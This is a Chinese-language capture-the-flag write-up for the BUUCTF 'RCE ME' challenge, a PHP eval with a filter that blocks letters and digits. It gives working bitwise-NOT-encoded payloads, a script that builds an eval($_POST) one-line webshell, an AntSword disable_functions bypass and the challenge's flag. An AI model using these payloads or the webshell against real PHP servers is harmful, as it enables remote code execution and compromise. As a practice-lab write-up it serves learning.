BUUCTF——RCE ME
BUUCTF——RCE ME
进入靶场
<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>
一段php代码
代码分析
这段PHP代码实现了一个简单的代码执行功能,但带有一些安全限制:
功能概述
- 代码检查是否有GET参数
code
传入 - 如果有
code
参数,会进行以下检查:- 长度不能超过40个字符(否则显示"This is too Long.")
- 不能包含任何字母数字字符(A-Z, a-z, 0-9)(否则显示"NO.")
- 如果通过检查,则使用
eval()
执行传入的代码 - 如果没有
code
参数,则显示源代码本身
安全限制
error_reporting(0)
关闭了错误报告- 长度限制:不超过40字符
- 字符限制:不能包含任何字母和数字
- 使用
@
抑制eval()
可能产生的错误
潜在利用方式
要在这种限制下执行代码,需要:
- 构造不超过40个字符的payload
- 完全不使用任何字母和数字
- 利用PHP允许的特殊字符和符号
可能的利用技术:
- 使用异或运算生成所需字符
- 利用PHP的短标签和特殊符号
- 使用非字母数字的PHP函数调用方式
根据这段代码构造payload
?code=${~%A0%B8%BA%AB}[%A0]();&%A0=phpinfo
成功访问phpinfo
细看了一下phpinfo 还以为跟之前的题一样flag在phpinfo里
结果没找到
但是找到了好多禁用函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
构造一句话木马payload
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["cmd"]))';
$d=urlencode(~$c);
echo $d;?>
运行代码
将运行结果拼接到url里
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9C%92%9B%DD%A2%D6%D6);
蚁剑测试连接一下
成功连接
但是读取不了数据
之前phpinfo看到php版本是php7
直接使用蚁剑插件disable_functions
绕过试试
/readflag
成功拿到flag
flag{3f829afc-68f8-4f76-8e68-7ee4f8fa10ab}